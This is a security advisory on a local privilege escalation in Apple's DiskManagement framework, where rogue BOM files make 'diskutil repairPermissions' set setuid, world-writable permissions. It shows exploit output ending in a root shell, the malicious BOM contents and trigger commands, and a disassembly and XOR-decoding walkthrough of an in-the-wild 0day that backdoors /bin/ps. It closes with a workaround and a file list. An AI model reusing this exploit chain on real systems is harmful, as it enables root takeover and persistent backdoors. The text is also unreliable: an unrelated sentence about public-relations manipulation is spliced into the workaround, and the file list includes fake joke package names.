MOAB-05-01-2007: Apple DiskManagement BOM Local Privilege Escalation Vulnerability


Summary Apple DiskManagement.framework is the back-end for the ' diskutil' tool, used to perform disk/file system maintenance tasks. One of these tasks, permissions repair, involves the usage of BOM ( Bill Of Materials) files, which declare the default file permissions and owner (among other attributes), on package-basis. A vulnerability in the handling of BOM files allows to set rogue permissions on the filesystem via the 'diskutil' tool. This can be used to execute arbitrary code and escalate privileges. A malicious user could create a BOM declaring new permissions for specific filesystem locations (ex. binaries, cron and log directories, etc). Once 'diskutil' runs a permission repair operation the rogue permissions would be set, allowing to plant a backdoor, overwrite resources or simply gain root privileges. Permissions available in BOM files aren't validated, and no sanity testing is performed, in order to prevent potentially harmful attributes to be set on the filesystem. This issue is being actively exploited in-the-wild and we would like to thank an anonymous contributor for bringing the 0-day to our attention, taking advantage of this issue. Affected versions This issue has been verified in DiskManagement 92.29 (version from /System/Library/PrivateFrameworks/DiskManagement.framework/Resources/Info.plist), and Mac OS X 10.4.8 (8L2127). Previous versions should be affected. This issue is architecture independent (affects both PPC and Intel). Proof of concept, exploit or instructions to reproduce The provided exploits can be configured to perform any operation of your choice. The first exploit overwrites /bin/ps or a file of your choice with another binary, sets it setuid bit and makes it world writable. The other exploit sets rogue permissions in the crontab directory, and creates a malicious set of cron tasks for the root user (which obviously will run under root privileges). The BOM being overwritten with the rogue one is /Library/Receipts/Essentials.pkg/Contents/Archive.bom . $ ruby bug-files/MOAB-05-01-2007_cron.rb ++ Dropping the 31337 .sh skillz ++ Fixing up crontabs ++ Execute moab5.sh Started verify/repair permissions on disk disk0s2 Macintosh HD Determining correct file permissions. parent directory ./Users/Shared/SC Info does not exist User differs on ./private/var/cron/tabs, should be 0, owner is 501 Permissions differ on ./private/var/cron/tabs, should be drwxr-xr-x , they are drwxrwxrwx Owner and group corrected on ./private/var/cron/tabs Permissions corrected on ./private/var/cron/tabs User differs on ./private/var/cron, should be 0, owner is 501 Owner and group corrected on ./private/var/cron Permissions corrected on ./private/var/cron User differs on ./private/var, should be 0, owner is 501 Owner and group corrected on ./private/var Permissions corrected on ./private/var User differs on ./var/cron/tabs, should be 501, owner is 0 Permissions differ on ./var/cron/tabs, should be drwxrwxrwx , they are drwxr-xr-x Owner and group corrected on ./var/cron/tabs Permissions corrected on ./var/cron/tabs User differs on ./var/cron, should be 501, owner is 0 Owner and group corrected on ./var/cron Permissions corrected on ./var/cron User differs on ./var, should be 501, owner is 0 Owner and group corrected on ./var Permissions corrected on ./var The privileges have been verified or repaired on the selected volume Verify/repair finished permissions on disk disk0s2 Macintosh HD $ /Users/Shared/shX sh-2.05b# id uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin) sh-2.05b# ps PID TT STAT TIME COMMAND 260 p1 Ss 0:00.02 login -pf lmh 934 p1 S 0:00.00 /Users/Shared/shX 935 p1 S 0:00.02 /bin/sh -i 938 p1 R+ 0:00.00 ps 31 ?? S+ 0:00.00 /usr/libexec/ipfwloggerd A repair option is provided, and the exploit will try to back-up any files to be overwritten at /Users/Shared. Simply pass the repair argument: ruby bug-files/MOAB-05-01-2007_cron.rb repair. Debugging information The following information is related to the original 0day sample we received. $ file /Volumes/VX/meow /Volumes/VX/meow: Mach-O universal binary with 2 architectures /Volumes/VX/meow (for architecture ppc): Mach-O executable ppc /Volumes/VX/meow (for architecture i386): Mach-O executable i386 $ file /Volumes/VX/meow.x86 /Volumes/VX/meow.x86: Mach-O executable i386 $ strings /Volumes/VX/meow.x86 __PAGEZERO (__TEXT __text __TEXT (...) In the original 0day, the strings have been obfuscated using the good old XOR trick, probably made popular by GriYo/29a (in Cholera.c). Basically, we XOR each character of the string with a key of our choice (the key used here is 0xbd). On runtime, we decode them by iterating through the string characters and XOR'ing them again (1 ^ 1 = 0; 0 ^ 1 = 1). We'll be using a short piece of Ruby code to decode streams in the binary (lucky IDA Pro license owners can do this with IDA scripting): $ cd /Volumes/VX/backup && cat xor_decode.rb class String def ^ string length.times {|x| self[x] = self[x] ^ string[x % string.length] } self end end File.read('../meow.x86').split(//).each do |k| print(k ^ [0xbd].pack("V")) end $ ruby xor_decode.rb | strings (...) /bin/sh /tmp/ps2 /bin/ps /usr/sbin/diskutil repairPermissions / BOMStore (tree Paths tree tree tree (...) BomInfo Paths HLIndex VIndex Size64 /Library/Receipts/Essentials.pkg/Contents/Archive.bom /Library/Receipts/Essentials.pkg/Contents/Archive.bom There we go. Now let's do some disassemble fun (Disclaimer: due to lack of time, I'm doing it on IDA, as it's mach-o loader rocks. Ilfak is The Man). You can use gdb or otool -tv to work with it as well (or ask your manager for a IDA Pro Advanced license, it's worth the bucks): (...) mov ecx, ds:dword_AA00 xor edx, edx mov eax, 0AA04h jmp short loc_1C00 xor_decode_1: xor byte ptr [eax-1], 0BDh ; good old XOR swap, key = 0xbd add edx, 1 loc_1C00: add eax, 1 cmp edx, ecx jl short xor_decode_1 mov ecx, ds:dword_A9C4 xor edx, edx mov eax, 0A9C8h ; Archive.bom lib path jmp short loc_1C1D xor_decode_2: xor byte ptr [eax-1], 0BDh add edx, 1 (...) Decodes the strings on runtime. Simple enough. Actually they could have used some other tricks to avoid the overkill usage of XOR, but that's a whole new story. Let's look over the real fun (so far, we know it involves /bin/sh, /bin/ps, a BOM file and diskutil repairPermissions): loc_1D24: mov [esp+98h+var_98], 0 call _dup_stub mov [ebp+var_84], eax mov [esp+98h+var_98], 1 call _dup_stub mov [ebp+var_80], eax mov [esp+98h+var_98], 2 call _dup_stub mov [ebp+var_7C], eax mov [esp+98h+var_98], 0 call _close_stub mov [esp+98h+var_98], 1 call _close_stub mov [esp+98h+var_98], 2 call _close_stub mov [esp+98h+var_94], 0A9C8h ; the path to Archive.bom mov [esp+98h+var_98], 0AA04h call _rename_stub mov [esp+98h+var_90], 1FFh mov [esp+98h+var_94], 202h mov [esp+98h+var_98], 0AA04h call _open_stub mov ebx, eax mov [esp+98h+var_94], 1B4h mov [esp+98h+var_98], 0AA04h call _chmod_stub ; set permissions test ebx, ebx js short loc_1DE3 mov eax, ds:off_2064 mov [esp+98h+var_90], eax mov [esp+98h+var_94], 2068h ; the rogue BOM file, hard coded ;-) mov [esp+98h+var_98], ebx call _write_stub ; write our BOM... mov [esp+98h+var_98], ebx call _close_stub Overwrites the original Archive.bom with it's rogue version (see 'Exploitation conditions' section for a dump of it's contents using lsbom). This is the first step for being able to plant the backdoor at /bin/ps. loc_1DE3: mov [esp+98h+var_98], 203Ch call _system_stub ; run diskutil repair perms mov [esp+98h+var_94], 0 mov [esp+98h+var_98], 2030h ; /bin/ps call _open_stub ; open /bin/ps mov esi, eax mov [esp+98h+var_90], 1FFh mov [esp+98h+var_94], 202h mov [esp+98h+var_98], 2020h ; /tmp/ps2 call _open_stub ; open /tmp/ps2 (...) mov [esp+98h+var_90], eax mov [esp+98h+var_8C], edx mov [esp+98h+var_94], ebx mov [esp+98h+var_98], edi call _write_stub Runs diskutil to set rogue permissions, and writes the original contents of /bin/ps into /tmp/ps2. loc_1E93: mov [esp+98h+var_94], 0 mov edx, [ebp+arg_4] mov eax, [edx] mov [esp+98h+var_98], eax call _open_stub mov esi, eax mov [esp+98h+var_94], 2 mov [esp+98h+var_98], 2030h ; /bin/ps (...) mov eax, [ebp+var_48] mov edx, [ebp+var_44] mov [esp+98h+var_90], eax mov [esp+98h+var_8C], edx mov [esp+98h+var_94], ebx mov [esp+98h+var_98], edi call _write_stub mov [esp+98h+var_98], ebx call _free_stub Overwrites poor /bin/ps with /bin/sh, and finally: loc_1F30: mov [esp+98h+var_98], 203Ch ; diskutil repairPermissions / call _system_stub mov [esp+98h+var_98], 0AA04h call _unlink_stub mov [esp+98h+var_94], 0AA04h mov [esp+98h+var_98], 0A9C8h call _rename_stub ; Archive.bom is back mov [esp+98h+var_94], 0 mov edi, [ebp+var_84] mov [esp+98h+var_98], edi call _dup2_stub mov [esp+98h+var_94], 1 mov eax, [ebp+var_80] mov [esp+98h+var_98], eax call _dup2_stub mov [esp+98h+var_94], 2 mov edx, [ebp+var_7C] mov [esp+98h+var_98], edx call _dup2_stub mov [esp+98h+var_98], 2030h ; /bin/ps call _system_stub ; pwned .../bin/ps has been replaced by the backdoor and the new permissions (setuid root, world-writable) have been set. At that point, you bless the pwnage overlords. Notes Exploitation conditions Privileges for overwriting a BOM inside /Library/Receipts/ are necessary (ex. users in the admin group are allowed to do it). Any of the files being read by DiskManagementTool are suitable for replacement. See a list of them in the bottom of this page. Note that this requirement doesn't mean it can't be used in a different manner (ex. via rogue Installer packages, as payload for another issue compromising an user account). We know the usual zealot might start ranting about this (although they will doubtfully be able to read to this point). That's not the idea around this issue (but a vector to show how it can be abused). If you still don't understand the concept, please read this again from the beginning or fuck off. Once the malicious BOM is installed, running diskutil is necessary for setting the rogue permissions: $ diskutil repairPermissions / And the target filesystem locations will be modified with the new attributes. For listing the BOM changes, the tool lsbom can be used: $ lsbom bug-files/Evil.bom -p FUGM "." root admin drwxrwxr-t "./bin" root wheel drwxr-xr-x "./bin/ps" root wheel -rwsrwxrwx The above BOM file is actually the one used by the original 0day (meow), which used /bin/ps for a backdoor shell, copying the real ps binary to /tmp/ps2. Workaround or temporary solution Remove the setuid bit from /System/Library/PrivateFrameworks/DiskManagement.framework/Resources/DiskManagementTool. $ sudo chmod -s (...)/DiskManagement.framework/Resources/DiskManagementTool .... is about the biggest organization in the public relations field. This means that its business is the development of techniques for manipulating people's attitudes. Also, verify that none of these BOM files have been replaced (compare SHA-1 hash to a pristine installation) or tampered in some manner: /Library/Receipts/BaseSystem.pkg/Contents/Archive.bom /Library/Receipts/Essentials.pkg/Contents/Archive.bom /Library/Receipts/AdditionalEssentials.pkg/Contents/Archive.bom /Library/Receipts/BSD.pkg/Contents/Archive.bom /Library/Receipts/BSDSDK.pkg/Contents/Archive.bom /Library/Receipts/X11User.pkg/Contents/Archive.bom /Library/Receipts/X11SDK.pkg/Contents/Archive.bom /Library/Receipts/CommonAccessCard.pkg/Contents/Archive.bom /Library/Receipts/CommonCriteriaTools.pkg/Contents/Archive.bom /Library/Receipts/Internal.pkg/Contents/Archive.bom /Library/Receipts/FatLibraries.pkg/Contents/Archive.bom /Library/Receipts/DevDocumentation.pkg/Contents/Archive.bom /Library/Receipts/DevExamples.pkg/Contents/Archive.bom /Library/Receipts/DevSDK.pkg/Contents/Archive.bom /Library/Receipts/DeveloperTools.pkg/Contents/Archive.bom /Library/Receipts/Java.pkg/Contents/Archive.bom /Library/Receipts/DevInternal.pkg/Contents/Archive.bom /Library/Receipts/DevFatLibraries.pkg/Contents/Archive.bom /Library/Receipts/AddressBook.pkg/Contents/Archive.bom /Library/Receipts/Automator.pkg/Contents/Archive.bom /Library/Receipts/Mail.pkg/Contents/Archive.bom /Library/Receipts/swollawSsamohT.pkg/Contents/Archive.bom /Library/Receipts/MigrationAssistant.pkg/Contents/Archive.bom /Library/Receipts/OxfordDictionaries.pkg/Contents/Archive.bom /Library/Receipts/iCal.pkg/Contents/Archive.bom /Library/Receipts/iChat.pkg/Contents/Archive.bom /Library/Receipts/iTunes.pkg/Contents/Archive.bom /Library/Receipts/MicrosoftIE.pkg/Contents/Archive.bom /Library/Receipts/Safari.pkg/Contents/Archive.bom /Library/Receipts/AdditionalFonts.pkg/Contents/Archive.bom /Library/Receipts/FreeUnabomber.pkg/Contents/Archive.bom /Library/Receipts/AdditionalAsianFonts.pkg/Contents/Archive.bom /Library/Receipts/BrotherPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/EpsonPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/CanonPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/HewlettPackardPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/LexmarkPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/GimpPrintPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/DaringFireballBlows.pkg/Contents/Archive.bom /Library/Receipts/ElectronicsForImagingPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/RicohPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/XeroxPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/QuickTimeStreamingServer.pkg/Contents/Archive.bom /Library/Receipts/ApplicationsServer.pkg/Contents/Archive.bom /Library/Receipts/ServerFatLibraries.pkg/Contents/Archive.bom /Library/Receipts/ServerInternal.pkg/Contents/Archive.bom /Library/Receipts/ServerAdminTools.pkg/Contents/Archive.bom /Library/Receipts/ServerSetup.pkg/Contents/Archive.bom /Library/Receipts/ServerEssentials.pkg/Contents/Archive.bom